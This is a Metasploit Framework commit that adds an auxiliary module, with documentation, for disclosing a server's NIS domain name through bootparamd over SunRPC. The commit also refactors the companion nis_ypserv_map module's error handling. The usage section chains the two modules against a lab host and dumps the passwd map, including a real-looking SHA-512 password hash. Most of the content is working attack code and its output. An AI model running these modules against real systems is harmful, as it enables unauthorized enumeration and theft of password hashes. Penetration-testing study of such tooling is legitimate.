Land #9402, NIS bootparamd domain name disclosure

MS-2855/keylogger-mettle-extension
William Vu 2018-01-15 15:36:00 -06:00
commit e5bd36da1c
No known key found for this signature in database
GPG Key ID: 68BD00CE25866743
4 changed files with 274 additions and 17 deletions

View File

@ -0,0 +1,110 @@
## Intro
From the `bootparamd(8)` man page:
> bootparamd is a server process that provides information to diskless clients necessary for booting. It consults the /etc/bootparams file to find the information it needs.
The module documented within will allow a tester to disclose the NIS
domain name from a server running `bootparamd`. After knowing the domain
name, the tester can follow up with `auxiliary/gather/nis_ypserv_map` to
dump a map from a compatible NIS server (running as `ypserv`).
## Setup
Set up NIS as per <https://help.ubuntu.com/community/SettingUpNISHowTo>.
If the link is down, you can find it via the Wayback Machine.
After that is done, install `bootparamd` however your OS provides it.
Make sure you add a client to the `bootparams` file, which is usually at
`/etc/bootparams`.
Here is an example `bootparams` file (courtesy of
[@bcoles](https://github.com/bcoles)):
```
clientname root=nfsserver:/export/clientname/root
```
You can read the `bootparams(5)` man page for more info.
Lastly, the client should be added to `/etc/hosts` if it isn't already
resolvable.
## Options
**PROTOCOL**
Set this to either TCP or UDP. UDP is the default due to `bootparamd`.
**CLIENT**
Set this to the address of a client in the target's `bootparams` file.
Usually this is a host within the same network range as the target.
**XDRTimeout**
Set this to the timeout in seconds for XDR decoding of the response.
## Usage
```
msf > use auxiliary/gather/nis_bootparamd_domain
msf auxiliary(gather/nis_bootparamd_domain) > set rhost 192.168.33.10
rhost => 192.168.33.10
msf auxiliary(gather/nis_bootparamd_domain) > set client 192.168.33.10
client => 192.168.33.10
msf auxiliary(gather/nis_bootparamd_domain) > run
[+] 192.168.33.10:111 - NIS domain name for host ubuntu-xenial (192.168.33.10) is gesellschaft
[*] Auxiliary module execution completed
msf auxiliary(gather/nis_bootparamd_domain) >
```
After disclosing the domain name, you can use
`auxiliary/gather/nis_ypserv_map` to dump a map from a compatible NIS
server.
```
msf auxiliary(gather/nis_bootparamd_domain) > use auxiliary/gather/nis_ypserv_map
msf auxiliary(gather/nis_ypserv_map) > set rhost 192.168.33.10
rhost => 192.168.33.10
msf auxiliary(gather/nis_ypserv_map) > set domain gesellschaft
domain => gesellschaft
msf auxiliary(gather/nis_ypserv_map) > run
[+] 192.168.33.10:111 - Dumping map passwd.byname on domain gesellschaft:
list:*:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
ubuntu:$6$LXFAVGTO$yiCXi1KjLynOrapuhJE7tKnvdwknDMKiKM7Z8ZB19ht6CHmsS.CbUTm8q0cy5fFHEqA.Sg4Acl.0UtY.Y0JNE1:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
games:*:5:60:games:/usr/games:/usr/sbin/nologin
news:*:9:9:news:/var/spool/news:/usr/sbin/nologin
lp:*:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
sys:*:3:3:sys:/dev:/usr/sbin/nologin
backup:*:34:34:backup:/var/backups:/usr/sbin/nologin
uucp:*:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
systemd-resolve:*:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
man:*:6:12:man:/var/cache/man:/usr/sbin/nologin
bin:*:2:2:bin:/bin:/usr/sbin/nologin
gnats:*:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
sync:*:4:65534:sync:/bin:/bin/sync
systemd-network:*:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
uuidd:*:108:112::/run/uuidd:/bin/false
dnsmasq:*:109:65534:dnsmasq,,,:/var/lib/misc:/bin/false
root:*:0:0:root:/root:/bin/bash
sshd:*:110:65534::/var/run/sshd:/usr/sbin/nologin
systemd-bus-proxy:*:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
irc:*:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
messagebus:*:107:111::/var/run/dbus:/bin/false
_apt:*:105:65534::/nonexistent:/bin/false
mail:*:8:8:mail:/var/mail:/usr/sbin/nologin
syslog:*:104:108::/home/syslog:/bin/false
daemon:*:1:1:daemon:/usr/sbin:/usr/sbin/nologin
systemd-timesync:*:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
pollinate:*:111:1::/var/cache/pollinate:/bin/false
www-data:*:33:33:www-data:/var/www:/usr/sbin/nologin
proxy:*:13:13:proxy:/bin:/usr/sbin/nologin
lxd:*:106:65534::/var/lib/lxd/:/bin/false
[*] Auxiliary module execution completed
msf auxiliary(gather/nis_ypserv_map) >
```

View File

@ -179,7 +179,8 @@ class Client
buf = nil
begin
Timeout.timeout(maxwait) { buf = sock.get }
rescue ::Timeout
rescue Timeout::Error
raise RPCTimeout
end
return nil if not buf

View File

@ -0,0 +1,148 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::SunRPC
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'NIS bootparamd Domain Name Disclosure',
'Description' => %q{
This module discloses the NIS domain name from bootparamd.
You must know a client address from the target's bootparams file.
Hint: try hosts within the same network range as the target.
},
'Author' => [
'SATAN', # boot.c
'pentestmonkey', # Blog post
'wvu' # Metasploit module
],
'References' => [
['URL', 'https://tools.ietf.org/html/rfc1831'],
['URL', 'https://tools.ietf.org/html/rfc4506'],
['URL', 'http://pentestmonkey.net/blog/nis-domain-name']
],
'License' => MSF_LICENSE
))
register_options([
OptEnum.new('PROTOCOL', [true, 'Protocol to use', 'udp', %w{tcp udp}]),
OptAddress.new('CLIENT', [true, "Client from target's bootparams file"])
])
register_advanced_options([
OptFloat.new('XDRTimeout', [true, 'XDR decoding timeout', 10.0])
])
end
def run
proto = datastore['PROTOCOL']
client = datastore['CLIENT']
begin
sunrpc_create(
proto, # Protocol: UDP (17)
100026, # Program: BOOTPARAMS (100026)
1 # Program Version: 1
)
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::Unreachable, 'Could not connect to bootparamd')
end
# Flavor: AUTH_NULL (0)
sunrpc_authnull
# Convert ASCII to network byte order to four unsigned chars :(
client_addr = Rex::Socket.addr_aton(client).unpack('C4')
bootparam_whoami = Rex::Encoder::XDR.encode(
1, # Address Type: IPv4-ADDR (1)
*client_addr # Client Address: [redacted]
)
begin
res = sunrpc_call(
1, # Procedure: WHOAMI (1)
bootparam_whoami # Boot Parameters
)
rescue Rex::Proto::SunRPC::RPCError
fail_with(Failure::NotFound, 'Could not call bootparamd procedure')
rescue Rex::Proto::SunRPC::RPCTimeout
fail_with(Failure::NotVulnerable,
'Could not disclose NIS domain name (try another CLIENT?)')
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
unless res
fail_with(Failure::Unknown, 'No response from server')
end
bootparams = begin
Timeout.timeout(datastore['XDRTimeout']) do
parse_bootparams(res)
end
rescue Timeout::Error
fail_with(Failure::TimeoutExpired,
'XDR decoding timed out (try increasing XDRTimeout?)')
end
if bootparams.blank?
fail_with(Failure::Unknown, 'Could not parse bootparams')
end
bootparams.each do |host, domain|
msg = "NIS domain name for host #{host} (#{client}) is #{domain}"
print_good(msg)
report_note(
host: rhost,
port: rport,
proto: proto,
type: 'nis.bootparamd.domain',
data: msg
)
end
end
def parse_bootparams(res)
bootparams = {}
loop do
begin
# XXX: res is modified in place
host, domain, _, _, _, _, _ = Rex::Encoder::XDR.decode!(
res,
String, # Client Host: [redacted]
String, # Client Domain: [redacted]
Integer, # Address Type: IPv4-ADDR (1)
# One int per octet in an IPv4 address
Integer, # Router Address: [redacted]
Integer, # Router Address: [redacted]
Integer, # Router Address: [redacted]
Integer # Router Address: [redacted]
)
break unless host && domain
bootparams[host] = domain
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break
end
end
bootparams
end
end

View File

@ -58,11 +58,9 @@ class MetasploitModule < Msf::Auxiliary
2 # Program Version: 2
)
rescue Rex::ConnectionError
print_error('Could not connect to portmapper')
return
fail_with(Failure::Unreachable, 'Could not connect to portmapper')
rescue Rex::Proto::SunRPC::RPCError
print_error('Could not connect to ypserv')
return
fail_with(Failure::Unreachable, 'Could not connect to ypserv')
end
# Flavor: AUTH_NULL (0)
@ -80,15 +78,14 @@ class MetasploitModule < Msf::Auxiliary
ypserv_all_call # Yellow Pages Service ALL call
)
rescue Rex::Proto::SunRPC::RPCError
print_error('Could not call ypserv procedure')
return
fail_with(Failure::NotFound, 'Could not call ypserv procedure')
ensure
# Shut it down! Shut it down forever!
sunrpc_destroy
end
if res.nil? || res.length < 8
print_error('Invalid response from server')
unless res && res.length > 8
fail_with(Failure::UnexpectedReply, 'Invalid response from server')
return
end
@ -96,12 +93,10 @@ class MetasploitModule < Msf::Auxiliary
case res[4, 4].unpack('l>').first
# Status: YP_NOMAP (-1)
when -1
print_error("Invalid map #{map_name} specified")
return
fail_with(Failure::BadConfig, "Invalid map #{map_name} specified")
# Status: YP_NODOM (-2)
when -2
print_error("Invalid domain #{domain} specified")
return
fail_with(Failure::BadConfig, "Invalid domain #{domain} specified")
end
map = begin
@ -109,12 +104,13 @@ class MetasploitModule < Msf::Auxiliary
parse_map(res)
end
rescue Timeout::Error
print_error('XDR decoding timed out (try increasing XDRTimeout?)')
fail_with(Failure::TimeoutExpired,
'XDR decoding timed out (try increasing XDRTimeout?)')
return
end
if map.nil? || map.empty?
print_error("Could not parse map #{map_name}")
if map.blank?
fail_with(Failure::Unknown, "Could not parse map #{map_name}")
return
end
@ -140,7 +136,9 @@ class MetasploitModule < Msf::Auxiliary
String # Key: [redacted]
)
status == 1 ? map[key] = value : break
break unless status == 1 && key && value
map[key] = value
rescue Rex::ArgumentError
vprint_status("Finished XDR decoding at #{res.inspect}")
break